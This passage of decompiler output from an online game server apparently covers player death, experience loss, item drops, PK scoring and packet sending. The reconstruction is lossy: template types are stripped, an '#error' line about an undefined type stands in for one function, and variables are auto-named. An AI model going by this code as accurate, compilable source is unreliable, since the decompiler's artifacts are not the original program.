std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0042CAE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_KilledBy(#593 *this, int player, int damage, unsigned int aggrorate) { int v4; // ebx@1 char v5; // al@1 unsigned int v6; // edi@1 int v7; // esi@5 int v8; // eax@10 unsigned int v9; // ecx@10 char *v10; // ecx@10 int v11; // eax@12 unsigned int v12; // ecx@12 char *v13; // ecx@12 int v14; // ecx@17 int v15; // eax@17 int v16; // edx@19 int v17; // ecx@21 int v18; // eax@24 char v19; // cl@24 int v20; // eax@24 int v21; // eax@25 int v22; // eax@28 int v23; // eax@29 __int16 v24; // cx@32 int v25; // edi@34 int v26; // eax@34 bool v27; // cf@34 int v28; // eax@35 const void *v29; // eax@36 int v30; // eax@37 int v31; // eax@39 int v32; // eax@41 int v33; // eax@43 void *v34; // edi@46 int v35; // edi@47 _DWORD *v36; // edi@49 int v37; // eax@49 int v38; // ecx@51 int v39; // edx@55 char v40; // al@56 int v41; // edx@56 int v42; // edi@57 int v43; // eax@60 char *v44; // edi@60 unsigned __int16 v45; // ST4C_2@63 unsigned __int16 v46; // ax@63 ZoneBaseSession *v47; // eax@67 char *v48; // eax@68 int v49; // eax@70 int v50; // eax@73 int v51; // ecx@74 unsigned int v52; // ST4C_4@76 unsigned int v53; // eax@76 char *v54; // edi@77 char v55; // al@77 ZoneBaseSession *v56; // eax@78 int v57; // eax@79 int v58; // edi@86 unsigned int v59; // eax@86 int v60; // eax@86 int v61; // edi@87 double v62; // st7@87 double v63; // st6@87 double v64; // st5@88 double v65; // st7@91 unsigned __int64 v66; // qax@93 signed int v67; // ecx@93 double v68; // st7@95 double v69; // st6@95 double v70; // st5@96 double v71; // st7@99 unsigned __int64 v72; // qax@101 unsigned int v73; // edi@101 char *v74; // edi@106 int v75; // ecx@107 int v76; // edi@107 ZoneBaseSession *v77; // eax@109 int v78; // eax@112 char *v79; // esi@115 int v80; // eax@115 int v81; // eax@115 char v82; // al@116 char *v83; // edi@116 int v84; // eax@117 int v85; // eax@117 int v86; // eax@120 int v87; // eax@120 ZoneBaseSession *v88; // eax@122 char *v89; // [sp+4Ch] [bp-CCh]@2 int (__thiscall *v90)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // [sp+50h] [bp-C8h]@0 int (__thiscall *v91)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // [sp+50h] [bp-C8h]@60 unsigned __int16 fScore; // [sp+60h] [bp-B8h]@18 std::vector > *fScorea; // [sp+60h] [bp-B8h]@32 int fScoreb; // [sp+60h] [bp-B8h]@60 float fScorec; // [sp+60h] [bp-B8h]@90 float fScored; // [sp+60h] [bp-B8h]@98 bool v97; // [sp+67h] [bp-B1h]@55 int battleStat; // [sp+68h] [bp-B0h]@23 unsigned int battleStata; // [sp+68h] [bp-B0h]@28 int battleStatb; // [sp+68h] [bp-B0h]@55 int Start; // [sp+6Ch] [bp-ACh]@17 int Starta; // [sp+6Ch] [bp-ACh]@55 char DefMIDPlayerInfo; // [sp+70h] [bp-A8h]@95 __int16 v104; // [sp+72h] [bp-A6h]@19 int v105; // [sp+74h] [bp-A4h]@95 unsigned int v106; // [sp+7Ch] [bp-9Ch]@95 ITEM_INVEN loc; // [sp+80h] [bp-98h]@31 char AtkMIDPlayerInfo; // [sp+84h] [bp-94h]@95 int v109; // [sp+8Ch] [bp-8Ch]@95 unsigned int v110; // [sp+90h] [bp-88h]@95 FunctionEntarance _; // [sp+94h] [bp-84h]@1 char tmp; // [sp+98h] [bp-80h]@37 int v113; // [sp+9Ch] [bp-7Ch]@37 int v114; // [sp+114h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_KilledBy"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_KilledBy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_KilledBy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_BYTE *)(v4 + 7428); v6 = 0; v114 = 0; if ( !(v5 & 8) ) { *(_BYTE *)(v4 + 7428) = v5 | 8; if ( **(_BYTE **)(v4 + 3568) == 5 ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth((void *)v4); v7 = player; if ( player ) { if ( (*(int (__thiscall **)(int))(*(_DWORD *)player + 2748))(player) ) RaidTask::rt_QuestCheck(ShineQuestDiary::sqd_MobDead, (#593 *)player, (#593 *)v4, 0); else PartyManufacture::pm_QuestCheck(&partymanufacture, ShineQuestDiary::sqd_MobDead, (#593 *)player, (#593 *)v4, 0); } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1000))(v4, 231) ) { v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1384))(v4); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); *((_DWORD *)v10 + 3) = *(_DWORD *)(v8 + 12); v10[16] = 0; } if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1000))(v4, 605) ) { v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1384))(v4); v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)v11; *((_DWORD *)v13 + 1) = *(_DWORD *)(v11 + 4); *((_DWORD *)v13 + 2) = *(_DWORD *)(v11 + 8); *((_DWORD *)v13 + 3) = *(_DWORD *)(v11 + 12); v13[16] = 0; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1152))(v4) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseOff((void *)v4); if ( *(_DWORD *)(v4 + 143184) != 4 ) { *(_DWORD *)(v4 + 143172) = 0; *(_DWORD *)(v4 + 143176) = CGambleObject::GDTSO_GetGameStatus; *(_DWORD *)(v4 + 143188) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *(_DWORD *)(v4 + 143184) = 0; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2256))(v4); v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1320))(v4); LOWORD(v15) = *(_WORD *)(*(_DWORD *)(v14 + 3248) + 12 * *(_WORD *)(v14 + 3254) + 4); Start = v14; while ( 1 ) { fScore = *(_WORD *)(v14 + 3244); if ( (unsigned __int16)v15 >= fScore ) break; v16 = *(_DWORD *)(v14 + 3248); v15 = (unsigned __int16)v15; v104 = *(_WORD *)(v16 + 12 * (unsigned __int16)v15 + 4); if ( (unsigned __int16)v15 < fScore && *(_BYTE *)(v16 + 12 * v15 + 8) ) v17 = *(_DWORD *)(v16 + 12 * v15); else v17 = 0; battleStat = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v17 + 4)); if ( (unsigned __int16)v15 < fScore && (v18 = 3 * v15, v19 = *(_BYTE *)(v16 + 4 * v18 + 8), v20 = v16 + 4 * v18, v19) ) v21 = *(_DWORD *)v20; else v21 = 0; (*(void (__stdcall **)(int, int))(*(_DWORD *)battleStat + 20))(v4, v21); LOWORD(v15) = v104; v14 = Start; v6 = 0; } battleStata = v6; v22 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1320))(v4); if ( *(_WORD *)(v22 + 3244) > 0x1C3u ) { v23 = *(_DWORD *)(*(_DWORD *)(v22 + 3248) + 5412); if ( v23 != v6 ) { Start = *(_DWORD *)(v23 + 28); battleStata = *(_DWORD *)(v23 + 84); } } if ( ShineObjectClass::ShinePlayer::sp_FindItemFromInventory((void *)v4, unk_131DF10A, (int)&loc) != v6 ) { fScorea = &AbnormalStateShelter::AbstateShelter::operator__(&g_AbstateShelter, *(_DWORD *)(v4 + 32171))->ab_List; std::vector>::resize( fScorea, v6); v24 = *(_WORD *)(*(_DWORD *)(v4 + 3544) + 12 * *(_WORD *)(v4 + 3550) + 4); while ( (unsigned __int16)v24 < *(_WORD *)(v4 + 3540) ) { v25 = *(_DWORD *)(v4 + 3544); v26 = (unsigned __int16)v24; v27 = (unsigned __int16)v24 < *(_WORD *)(v4 + 3540); v24 = *(_WORD *)(v25 + 12 * (unsigned __int16)v24 + 4); v104 = v24; if ( v27 ) { v28 = v25 + 12 * v26; if ( *(_BYTE *)(v28 + 8) ) { v29 = *(const void **)v28; if ( v29 ) { memcpy(&tmp, v29, 0x6Cu); v30 = *((_DWORD *)&unk_6B848C + 3 * v113); LOBYTE(v114) = 1; if ( v30 && *(_DWORD *)v30 ) { v31 = *(_DWORD *)(*(_DWORD *)v30 + 34); if ( v31 < 609 ) { v32 = dword_6BC994[v31]; if ( v32 ) { v33 = *(_DWORD *)(*(_DWORD *)v32 + 240); if ( v33 == 1 || v33 == 11 ) std::vector>::push_back( fScorea, (AbnormalStateContainer::AbstateElementInObject *)&tmp); } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v31); } } LOBYTE(v114) = 0; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)&tmp); v24 = v104; v7 = player; } } } } } ShineObjectClass::ShineMobileObject::so_KilledBy((#593 *)v4, v7, damage, aggrorate); v34 = (void *)(*(_DWORD *)(v4 + 32160) + 29); if ( *(_BYTE *)(v4 + 139547) ) { memcpy(v34, (const void *)(v4 + 139500), 0x2Cu); v35 = (int)((char *)v34 + 44); *(_WORD *)v35 = *(_WORD *)(v4 + 139544); *(_BYTE *)(v35 + 2) = *(_BYTE *)(v4 + 139546); v7 = player; *(_BYTE *)(v4 + 139547) = 0; } if ( battleStata ) { v36 = dword_6BD0A0[0]; (*(void (__thiscall **)(int, int, _DWORD, signed int, _DWORD *, int, _DWORD, unsigned int, _DWORD, signed int))(*(_DWORD *)v4 + 1584))( v4, v4, *(_DWORD *)(*dword_6BD0A0[0] + 34), 1, dword_6BD0A0[0], Start, 0, battleStata, 0, 9); ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, *(_DWORD *)(*v36 + 34)); v37 = v36[11]; if ( v37 ) { (*(void (__thiscall **)(int, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 1004))( v4, *(_DWORD *)(*v36 + 34), *(_DWORD *)(v37 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( (void *)v4, *(_DWORD *)(*v36 + 34), *(_DWORD *)(v36[11] + 43), 1); } } v38 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v4 + 32209) = 0; if ( v38 && FieldMap::fm_IsItemDropField(v38, v7) && !*(_BYTE *)(v4 + 142694) ) ShineObjectClass::ShinePlayer::sp_ItemDropAtDead((void *)v4, v7); v39 = *(_DWORD *)v4; *(_DWORD *)(v4 + 140392) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; Starta = 0; v97 = 0; battleStatb = (*(int (__thiscall **)(int))(v39 + 1060))(v4); if ( !v7 ) { LABEL_104: ShineObjectClass::ShinePlayer::sp_KQElementFunction((void *)v4, KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus); *(_DWORD *)(battleStatb + 28) += 50; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2708))(v4) == 2 ) (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v4 + 2704))(v4, 1, 1); v74 = gpp.pp_Buffer; if ( v97 ) { *(_WORD *)gpp.pp_Buffer = 31767; *((_WORD *)v74 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); *((_WORD *)v74 + 2) = *(_WORD *)(v4 + 4); *(_DWORD *)(v74 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v75 = *(_DWORD *)(v4 + 32160) + 171; v76 = (int)(v74 + 10); *(_DWORD *)v76 = *(_DWORD *)v75; *(_DWORD *)(v76 + 4) = *(_DWORD *)(v75 + 4); *(_DWORD *)(v76 + 8) = *(_DWORD *)(v75 + 8); *(_DWORD *)(v76 + 12) = *(_DWORD *)(v75 + 12); *(_BYTE *)(v76 + 16) = *(_BYTE *)(v75 + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 27) ) { v77 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v77); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_KilledBy : Packet Too Long", 27); } } else { *(_WORD *)gpp.pp_Buffer = 4173; v74[2] = 3; v74[3] = 50; *((_DWORD *)v74 + 1) = *(_BYTE *)(v4 + 143900) != 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v78 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v78 + 12))(v78, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 8); } *(_DWORD *)(v4 + 143812) = clockwatch.cw_CurrTick + 620 * (unsigned __int8)v74[2]; } if ( v7 ) { v82 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 2204))(v7); v83 = gpp.pp_Buffer; if ( !v82 ) { *(_WORD *)gpp.pp_Buffer = 1065; *(_DWORD *)(v83 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 836))(v7); v86 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v83 + 6) = *(_DWORD *)v86; *(_DWORD *)(v83 + 10) = *(_DWORD *)(v86 + 4); *(_DWORD *)(v83 + 14) = *(_DWORD *)(v86 + 8); v87 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v83 + 18) = *(_DWORD *)v87; *(_DWORD *)(v83 + 22) = *(_DWORD *)(v87 + 4); *(_DWORD *)(v83 + 26) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v83 + 30) = 0; v83[34] = 0; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_KilledBy : Packet Too Long", 35); goto LABEL_123; } LABEL_122: v88 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v88); goto LABEL_123; } *(_WORD *)gpp.pp_Buffer = 1067; *(_DWORD *)(v83 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v84 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v83 + 6) = *(_DWORD *)v84; *(_DWORD *)(v83 + 10) = *(_DWORD *)(v84 + 4); *(_DWORD *)(v83 + 14) = *(_DWORD *)(v84 + 8); v85 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v83 + 18) = *(_DWORD *)v85; *(_DWORD *)(v83 + 22) = *(_DWORD *)(v85 + 4); *((_WORD *)v83 + 13) = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 1792))(v7); *(_QWORD *)(v83 + 28) = Starta; } else { v79 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1067; *(_DWORD *)(v79 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v80 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v79 + 6) = *(_DWORD *)v80; *(_DWORD *)(v79 + 10) = *(_DWORD *)(v80 + 4); *(_DWORD *)(v79 + 14) = *(_DWORD *)(v80 + 8); v81 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v79 + 18) = *(_DWORD *)v81; *(_DWORD *)(v79 + 22) = *(_DWORD *)(v81 + 4); *((_WORD *)v79 + 13) = -1; *(_QWORD *)(v79 + 28) = Starta; } if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 36) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_KilledBy : Packet Too Long", 36); LABEL_123: (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 2628))(v4, 1, 0, 0); v114 = -1; v89 = "ShineObjectClass::ShinePlayer::so_KilledBy"; goto LABEL_124; } goto LABEL_122; } v40 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 2204))(v7); v41 = *(_DWORD *)v7; if ( v40 == 1 ) { v42 = (*(int (__thiscall **)(int))(v41 + 2480))(v7); if ( v42 && (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v42 + 1228))(v42) == 2 ) { v7 = v42; LABEL_60: Starta = ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled( v4, v4, (int)ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField, v90); v43 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 900))(v7); v44 = gpp.pp_Buffer; fScoreb = v43; *(_WORD *)gpp.pp_Buffer = 9290; *((_WORD *)v44 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 832))(v7); *((_DWORD *)v44 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 836))(v7); *((_DWORD *)v44 + 2) = fScoreb; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v47 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v47); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_KilledBy : Packet Too Long", 12); } v48 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9291; *((_WORD *)v48 + 1) = *(_WORD *)(v7 + 4); *((_WORD *)v48 + 2) = *(_WORD *)(v4 + 4); *(_DWORD *)(v48 + 6) = fScoreb; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v49 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v49 + 12))(v49, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 10); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v50 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 764))(v7); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v50 + 12))(v50, v7, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_LostExperienceByMobKill : Packet Too Long", 10); } v51 = *(_DWORD *)(v4 + 98); if ( v51 ) { if ( FieldMap::fm_IsGuildWarField(v51) == 1 ) { v52 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2088))(v4); v53 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 2088))(v7); if ( CGuildZone::IsGuildEnemy(&gGuild, v53, v52) ) { v54 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29765; *((_WORD *)v54 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 832))(v7); *((_WORD *)v54 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); v55 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v55, "ShineObjectClass::ShinePlayer::so_KilledBy : Packet Too Long", 6) ) { v56 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v56); } } } } v57 = (int)ShineDynamicCast((#593 *)v7); if ( v57 && *(_DWORD *)(v4 + 98) && !ShineObjectClass::ShineMobileObject::smo_IsFreePKTarget(v4, v57) ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2708))(v4) == 1 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v7 + 2716))(v7); } else { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2708))(v4) == 3 ) { Starta = ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled( v4, v4, (int)ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledAndImChaotic, v91); ShineObjectClass::ShinePlayer::sp_EquipDropAtDead((void *)v4); v97 = 1; } v58 = *(_DWORD *)v7; v59 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2724))(v4); LOBYTE(v60) = sp_CalcChaoticLevel(v59); (*(void (__thiscall **)(int, int))(v58 + 2740))(v7, v60); } } v61 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 1060))(v7); ++*(_DWORD *)(battleStatb + 32); ++*(_DWORD *)(v61 + 36); v62 = (double)*(unsigned int *)(battleStatb + 40); v63 = (double)*(unsigned int *)(v61 + 40); if ( v62 >= v63 ) v64 = v63; else v64 = v62; fScorec = v64 / (v63 + v62); if ( v63 <= v62 ) v65 = 1.0 - fScorec; else v65 = fScorec * fScorec + fScorec * fScorec; v66 = (unsigned __int64)(v65 * 1000.0); v67 = *(_DWORD *)(battleStatb + 40) - v66; if ( (unsigned int)v67 < 0x3E8 ) v67 = 1000; *(_DWORD *)(battleStatb + 40) = v67; *(_DWORD *)(v61 + 40) += v66; (*(void (__thiscall **)(int, char *))(*(_DWORD *)v4 + 3184))(v4, &DefMIDPlayerInfo); (*(void (__thiscall **)(int, char *))(*(_DWORD *)v7 + 3184))(v7, &AtkMIDPlayerInfo); v68 = (double)v106; ++v105; ++v109; v69 = (double)v110; if ( v68 >= v69 ) v70 = v69; else v70 = v68; fScored = v70 / (v69 + v68); if ( v69 <= v68 ) v71 = 1.0 - fScored; else v71 = fScored * fScored + fScored * fScored; v72 = (unsigned __int64)(v71 * 1000.0); v73 = v106 - v72; v106 = 1000; if ( v73 >= 0x3E8 ) v106 = v73; HIDWORD(v72) = *(_DWORD *)v4; v110 += v72; (*(void (__thiscall **)(int, char *))(HIDWORD(v72) + 3188))(v4, &DefMIDPlayerInfo); (*(void (__thiscall **)(int, char *))(*(_DWORD *)v7 + 3188))(v7, &AtkMIDPlayerInfo); goto LABEL_104; } } else { if ( (unsigned __int8)(*(int (__thiscall **)(int))(v41 + 1228))(v7) == 2 ) goto LABEL_60; } Starta = ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled( v4, v4, (int)ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob, v90); v45 = *(_WORD *)(v7 + 4); v46 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 1792))(v7); CCharacterTitleZone::CT_KilledByMob((CCharacterTitleZone *)(v4 + 140400), v46, v45); v97 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2708))(v4) == 3 && (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v7 + 2708))(v7); goto LABEL_104; } v114 = -1; v89 = "ShineObjectClass::ShinePlayer::so_KilledBy"; LABEL_124: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v89); } // 42CAE0: inconsistent function type and number of purged bytes //----- (0042D720) -------------------------------------------------------- #error "42D720: undefined or illegal type '#593' (funcsize=20)" //----- (0042D770) -------------------------------------------------------- void __thiscall SpyNet::EspionageAgent::ea_SRT_GETHEAL(SpyNet::EspionageAgent *this, #593 *a2, int heal, int aggrorate) { char *v4; // ebx@1 unsigned int v5; // edx@1 v4 = (char *)this + 16 * this->ea_Pointer.value; *(_DWORD *)v4 = 1; *((_DWORD *)v4 + 1) = a2; *((_DWORD *)v4 + 2) = heal; *((_DWORD *)v4 + 3) = aggrorate; v5 = this->ea_Pointer.mask & (this->ea_Pointer.value + 1); this->ea_Pointer.value = this->ea_Pointer.mask & (this->ea_Pointer.value + 1); this->ea_SecretReport[v5].sr_Type = 0; } //----- (0042D7D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMovePacket(int this, __int16 command, int packet) { int v3; // ecx@1 int result; // eax@1 *(_WORD *)(this + 194) = command; v3 = this + 196; *(_DWORD *)v3 = *(_DWORD *)packet; *(_DWORD *)(v3 + 4) = *(_DWORD *)(packet + 4); *(_DWORD *)(v3 + 8) = *(_DWORD *)(packet + 8); *(_DWORD *)(v3 + 12) = *(_DWORD *)(packet + 12); result = *(_DWORD *)(packet + 16); *(_DWORD *)(v3 + 16) = result; *(_BYTE *)(v3 + 20) = *(_BYTE *)(packet + 20); return result; } //----- (0042D810) -------------------------------------------------------- void __thiscall MultiHitArgument::MultiHitArgument(MultiHitArgument *this) { this->mha_HitStep = -1; this->mha_DamageRate = 1000; this->mha_AbState[0].mha_AbStateRate = 0; this->mha_AbState[0].mha_AbStateIndex = 609; this->mha_AbState[0].mha_AbStateStrength = 0; this->mha_AbState[1].mha_AbStateRate = 0; this->mha_AbState[1].mha_AbStateIndex = 609; this->mha_AbState[1].mha_AbStateStrength = 0; this->mha_AbState[2].mha_AbStateRate = 0; this->mha_AbState[2].mha_AbStateIndex = 609; this->mha_AbState[2].mha_AbStateStrength = 0; this->mha_AbState[3].mha_AbStateRate = 0; this->mha_AbState[3].mha_AbStateIndex = 609; this->mha_AbState[3].mha_AbStateStrength = 0; } //----- (0042D850) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this) { this->bos_Defender = -1; this->bos_Attacker = -1; this->bos_MyHealKill = 0; this->bos_MyHealHit = 0; this->bos_AbsoluteAggro = 0; this->bos_Heal = 0; this->bos_Damage = 0; this->bos_DamageRateAggro = 1000; this->bos_AbstateList.statenum = 0; *(_DWORD *)&this->gap84[12] = 0; this->bos_StealedEnchant = 609; } //----- (0042D890) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this, unsigned __int16 attacker, unsigned __int16 defender) { memcpy(this, &battleobjectstructclear, 0x98u); this->bos_Attacker = attacker; this->bos_Defender = defender; } //----- (0042D8C0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObject::BattleObject(BattleObjectGroup::BattleObject *this) { this->bo_Struct.bos_Defender = -1; this->bo_Struct.bos_Attacker = -1; this->bo_Struct.bos_MyHealKill = 0; this->bo_Struct.bos_MyHealHit = 0; this->bo_Struct.bos_AbsoluteAggro = 0; this->bo_Struct.bos_Heal = 0; this->bo_Struct.bos_Damage = 0; this->bo_Struct.bos_DamageRateAggro = 1000; this->bo_Struct.bos_AbstateList.statenum = 0; *(_DWORD *)&this->bo_Struct.gap84[12] = 0; this->bo_Struct.bos_StealedEnchant = 609; MoveManager::MoveManager((DiceTaiSai *)&this->bo_SetItem); } //----- (0042D910) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObject::_BattleObject(BattleObjectGroup::BattleObject *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->bo_SetItem); } //----- (0042D920) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mobile_ICanDamageTo(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget) { return 0; } //----- (0042D930) -------------------------------------------------------- unsigned __int16 __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(SkillEffectApply::SkillBlastEffectContainer *this) { unsigned __int16 result; // ax@1 result = (this->sbec_Index + 1) & 0x7FFF; this->sbec_Index = result; return result; } //----- (0042D950) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffect::SkillBlastEffect(SkillEffectApply::SkillBlastEffect *this) { this->sbe_MultiHitArgument.mha_HitStep = -1; this->sbe_MultiHitArgument.mha_DamageRate = 1000; this->sbe_MultiHitArgument.mha_AbState[0].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[0].mha_AbStateIndex = 609; this->sbe_MultiHitArgument.mha_AbState[0].mha_AbStateStrength = 0; this->sbe_MultiHitArgument.mha_AbState[1].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[1].mha_AbStateIndex = 609; this->sbe_MultiHitArgument.mha_AbState[1].mha_AbStateStrength = 0; this->sbe_MultiHitArgument.mha_AbState[2].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[2].mha_AbStateIndex = 609; this->sbe_MultiHitArgument.mha_AbState[2].mha_AbStateStrength = 0; this->sbe_MultiHitArgument.mha_AbState[3].mha_AbStateRate = 0; this->sbe_MultiHitArgument.mha_AbState[3].mha_AbStateIndex = 609; this->sbe_MultiHitArgument.mha_AbState[3].mha_AbStateStrength = 0; } //----- (0042D990) -------------------------------------------------------- void __thiscall AxialListTargetChange::_AxialListTargetChange(AxialListTargetChange *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListTargetChange::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 638AFC: using guessed type int (__stdcall *AxialListTargetChange___vftable_)(int, int, int distancesquar); //----- (0042D9A0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 108; return result; } //----- (0042D9C0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned 